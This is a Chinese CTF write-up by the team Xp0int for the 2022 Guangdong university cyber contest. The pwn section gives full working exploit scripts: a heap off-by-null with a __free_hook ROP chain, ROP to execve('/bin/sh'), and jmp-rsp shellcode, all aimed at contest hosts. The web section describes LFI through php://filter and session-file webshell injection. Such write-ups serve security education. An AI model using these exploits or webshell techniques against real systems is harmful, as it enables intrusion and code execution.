2022 广东省大学生网络攻防大赛部分题目 Writeup By Xp0int xp0int Posted on May 23 2022 ## 1. CRYPTO ### 1.1 Cryptoxor `Author: k1rit0` No real key is no real ^.^ ``` python with open("cipher", "r") as f: c = f.read() key = "xxxx" flag = "" for i in range(len(c)): flag += chr(ord(c[i]) ^ ord(key[i%4])) print(flag) ``` flag : flag{fccb0665-bce5-d329-aca7-99179bdc9ed3} ## 2. PWN ### 2.1 midpwn `Author: xf1les` Edit 功能有 off-by-null 漏洞。 首先利用漏洞改写 next chunk inuse bit 触发 backward consolidation 构造 overlapping chunk,然后改写 tcache chunk next 指针分配得到 `&__free_hook`,最后利用 gadget 执行 ORW ROP 读 flag 即可。 ``` #!/usr/bin/env python3 from pwn import * import warnings warnings.filterwarnings("ignore", category=BytesWarning) context(arch="amd64") context(log_level="debug") libc = ELF("./libc-2.31.so") heap = 0 p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) libc_sym = lambda x : libc.symbols[x] libc_symp = lambda x : p64(libc.symbols[x]) libc_os = lambda x : libc.address + x heap_os = lambda x : heap + x ### p = remote("120.79.220.233", 48043) # ~ p = process("./midpwn") def add(sz, ctx='\x00'): p_sl(1, "Your choose which one?") p_sl(sz, "please input note size : ") p_s(ctx, "please input your note.") def free(idx): p_sl(4, "Your choose which one?") p_sl(idx, "please input note index.") def show(idx): p_sl(3, "Your choose which one?") p_sl(idx, "please input note index.\n") def edit(idx, ctx): p_sl(2, "Your choose which one?") p_sl(idx, "please input note index.\n") p_sl(ctx, "please input new note.") ### Leak address for i in range(0x10): add(0xb0) for i in range(0x10): free(0x10-1-i) add(0x28, 'A') show(0) libc.address = u64(p.recv(8)) - 0x1ed041 info("libcbase: 0x%lx", libc.address) add(0xb0, 'A') show(1) heap = u64(p.recv(8)) - 0x2f41 info("heapbase: 0x%lx", heap) ### Overlapping chunk fake_chunk = flat([0, 0x500, heap_os(0x27e0), heap_os(0x27e0)]) edit(0, fake_chunk) for i in range(0x20-2): add(0x28) free(1) off_by_one = flat([0, 0, 0, 0, 0x500]) + b'\xc0' # BUG edit(0x1b, off_by_one) free(0x1c) # Trigger backward consolidation add(0x28) add(0x28) free(1) free(0x1c) edit(2, flat([0, 0x30, libc_os(0x1eee48)])) # Corrupt tcache chunk next pointer to &__free_hook add(0x28) add(0x28) # Allocate __free_hook ### Build ROP chain rax_0 = libc_os(0xb1d89) # xor rax, rax; ret; rax_1 = libc_os(0xcfb50) # mov rax, 1; ret; rax_2 = libc_os(0xcfb60) # mov rax, 2; ret; xchg = libc_os(0xf1b95) # xchg eax, edi; ret; rdi = libc_os(0x23b72) # pop rdi; ret; rsi = libc_os(0x2604f) # pop rsi; ret; rdx = libc_os(0x119241) # pop rdx ; pop r12 ; ret syscall = libc_os(0x630d9) # syscall; ret leave = libc_os(0x578f8) # leave; ret rop1_addr = heap_os(0x2ea0) rop1 = flat([ rdx, 0xdeadbeef, rop1_addr, rdx, 0x100, leave, rdi, 0, rsi, rop1_addr-8, rsi, rop1_addr+0x68, libc.sym.read, ]) rop2_addr = heap_os(0x2f08) rop2_raw = [ rdi, 0xdeadbeef, rsi, 0, rax_2, syscall, xchg, rsi, 0xdeadbeef, rax_0, syscall, rdi, 1, rax_1, syscall ] rop2_raw[1] = rop2_raw[8] = rop2_addr + len(rop2_raw) * 8 rop2 = flat(rop2_raw) + b'flag\x00' ### free(0x10) add(0xb0) edit(0x10, rop1) edit(0x1c, p64(libc_os(0x154D06))) # __free_hook = svcudp_reply+22 free(0x10) # Trigger stack migration p.send(rop2) # ORW p.interactive() ``` ![title](https://leanote.com/api/file/getImage?fileId=628b0068ab64412e450c1331) ### 2.2 jmp_rsp `Author: xf1les` 用栈溢出做 ROP getshell (c1ark 的方法更简单一些) ``` from pwn import * context(arch="amd64", log_level="debug") p = process("./jmp_rsp") rop = ROP(ELF("./jmp_rsp")) rop.read(0, 0x6BB2E0, 8) rop.read(0, 0x6BB3E0, 0x100) rop.migrate(0x6BB3E0) pp = cyclic(136) + rop.chain() p.send(pp.ljust(0x100)) p.send(b'/bin/sh\x00') rop = ROP(ELF("./jmp_rsp")) rop.execve(0x6BB2E0, 0, 0) p.send(rop.chain()) p.interactive() ``` ### 2.3 jmp_rsp `Author: c1ark` 我太拉了,谢谢师傅们带我。 栈溢出,没开NX,直接shellcode安排上,最后jmp_rsp即可 from pwn import * context(os='linux', arch='amd64',log_level='debug') #context.aslr = False #context.terminal =['tmux', 'splitw', '-h'] p=remote("47.106.122.102",47241) #p=process("./jmp_rsp") se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims :p.recvuntil(delims) uu32 = lambda data :u32(data.ljust(4, '\x00')) uu64 = lambda data :u64(data.ljust(8, '\x00')) info_addr = lambda tag, addr :p.success(tag + ': {:#x}'.format(addr)) # 0x000000000046d01d: jmp rsp; payload = "a" * 0x88 + p64(0x000000000046d01d) payload += asm(shellcraft.sh()) sl(payload) p.interactive() flag值: flag{13cf68d7-0c99-46c0-a1bc-977d493bb4ef} ## 3. RE ### 3.1 is_this_really_vm `Author: JANlittle` 或非门推进流程的VM,因为或非操作构成逻辑完备集,任何操作都能通过或非门实现。同时题目增加循环左移操作增加加密复杂度。程序先逐字节读取25字节输入,然后加密,最后一起验证。直接下断点dump出VM读取完输入后的内存,然后写脚本输出执行的指令进行观察即可。 ```python mem = [...] mem += [0]*(65535-len(mem)) print('mem[%s] = NOR(mem[%s], mem[%s])\t ; mem[%s] = %s, mem[%s] = %s' % (hex(0x3c2), hex(0x19EB).upper().replace('X', 'x'), hex(0x19EB).upper().replace('X', 'x'), hex(0x19EB).upper().replace('X', 'x'), hex(mem[0x19EB]).upper().replace('X', 'x'), hex(0x19EB).upper().replace('X', 'x'), hex(mem[0x19EB]).upper().replace('X', 'x'))) mem[0x3c2] = ~(mem[0x19EB] | mem[0x19EB]) & 0xffff while mem[0] != 0xffff: v8 = mem[mem[0]+1] v9 = mem[mem[0]] v10 = mem[mem[0]+2] v11 = ~(mem[v9] | mem[v8]) & 0xffff mem[0] += 3 mem[v10] = v11 print('mem[%s] = NOR(mem[%s], mem[%s])\t ; mem[%s] = %s, mem[%s] = %s' % (hex(v10).upper().replace('X', 'x'), hex(v9).upper().replace('X', 'x'), hex(v8).upper().replace('X', 'x'), hex(v9).upper().replace('X', 'x'), hex(mem[v9]).upper().replace('X', 'x'), hex(v8).upper().replace('X', 'x'), hex(mem[v8]).upper().replace('X', 'x'))) mem[1] = (v11 << 1) & 65534 | (v11 >> 15) & 1 if v9 <= 0x1A03 and v8 >= 0x19EB and v9 == v8: print() ``` 输出太长不贴了,直接贴最后解密: ```python >>> def rol(x): ... return (x<<1)&0xffff | (x>>15) ... >>> def ror(x): ... return x>>1 | (x<<15)&0xffff ... >>> flag=[0x12^0x7e,rol(0x18),ror(0xd8),0x2e^0x71,rol(0x803c),ror(0x60),ror(0xea),rol(0x802f),0x36^0x57,rol(0x29),0x2^0x67,ror(0xbe),ror(0x9a),rol(0x20),0x35^0x46,0x7c^0x28,rol(0x8032),ror(0xe4),0x63^0x3c,rol(0x18),rol(0x33),0x6a^0x35,ror(0xa4),0x7b^0x3e,rol(0x2b)] >>> bytes(flag) b'l0l_y0u_aRe_M@sTer_0f_REV' ``` ### 3.2 simple_re `Author: JANlittle` 程序将关键函数以对象元素的形式存在对象里,然后间接通过对象调用。sub_140002110有反调试,主要是IsDebuggerPresent和获取ThreadContext并检测是否有硬件断点。加密流程为先打乱每个字节的比特顺序,其实就是把比特串倒过来;然后利用打乱比特顺序的前4字节输入SMC解密一段代码,并开一个线程检测SMC解密后的代码段是否有0xcc,有的话说明前4字节输入错误;之后调用上述代码段进行魔改XTEA加密。 ```c #include <stdio.h> #include <stdint.h> void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0 = v[0], v1 = v[1], delta = 0x78955381, sum = 0; for (i = 0; i < num_rounds; i++) sum -= delta; for (i = 0; i < num_rounds; i++) { v1 -= (((v0 << 3) ^ (v0 >> 6)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum += delta; v0 -= (((v1 << 3) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]); } v[0] = v0; v[1] = v1; } uint8_t reverseBits(uint8_t n) { uint8_t count = 0; int i; for (i = 0; i < 8; i++) { count = count * 2 + n % 2; n /= 2; } return count; } int main() { uint8_t key1[33] = "Welcome to the g"; uint8_t key2[32] = "ame!\nYour key: "; unsigned char enc[40] = { 0x72, 0x0C, 0xF6, 0x0E, 0x8C, 0x69, 0x23, 0x69, 0x59, 0xA8, 0x06, 0xEF, 0x2A, 0x1A, 0x56, 0xB6, 0x96, 0xAC, 0xEE, 0x92, 0x5C, 0xF2, 0xED, 0x0A, 0x5F, 0x36, 0x8E, 0x41, 0xA6, 0x36, 0x86, 0x72, 0x56, 0xD2, 0x54, 0xC2, 0x00, 0xC8, 0xA8, 0x00}; decipher(12, (uint32_t *)(enc + 4), (const uint32_t *)key1); decipher(12, (uint32_t *)(enc + 20), (const uint32_t *)key2); for (int i = 0; i < 40; i++) enc[i] = reverseBits(enc[i]); printf("%s", enc); } ``` ### 3.3 pyre `Author: JANlittle` pyInstaller打包的exe,Pyinstxtractor解包,原版本py3.7,decompyle3不咋管用,用pycdc反编译,仿射密码,但模的数没反编译出来,pycdas直接看字节码确定模数。 ```python import gmpy2 enc = [144,163,158,177,121,39,58,58,91,111,25,158,72,53,152,78,171,12,53,105,45,12,12,53,12,171,111,91,53,152,105,45,152,144,39,171,45,91,78,45,158,8] key = gmpy2.invert(33, 179) for i in range(len(enc)): enc[i] = enc[i] * key % 179 print(bytes(enc)) ``` ## 4. WEB ### 4.1 in `Author: ABU` 谢谢师傅们带我飞。 读取action.php的源码`http://119.23.247.96:47473/action.php?file=php://filter/convert.base64-encode/resource=action.php` <?php session_start(); error_reporting(0); $name = $_POST['name']; if($name){ $_SESSION["username"] = $name; } include($_GET['file']); ?> 可以看到是session文件包含,目录为/tmp/sess_PHPSESSID,写入webshell即可,先`ls /`获取到flag文件名在读取 ![图片标题](https://leanote.com/api/file/getImage?fileId=628a400aab64412e450c0c4f) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2022 CISCN 线上初赛 部分题目 Writeup By Xp0int 2022 MRCTF 部分题目 Writeup By Xp0int
没有帐号? 立即注册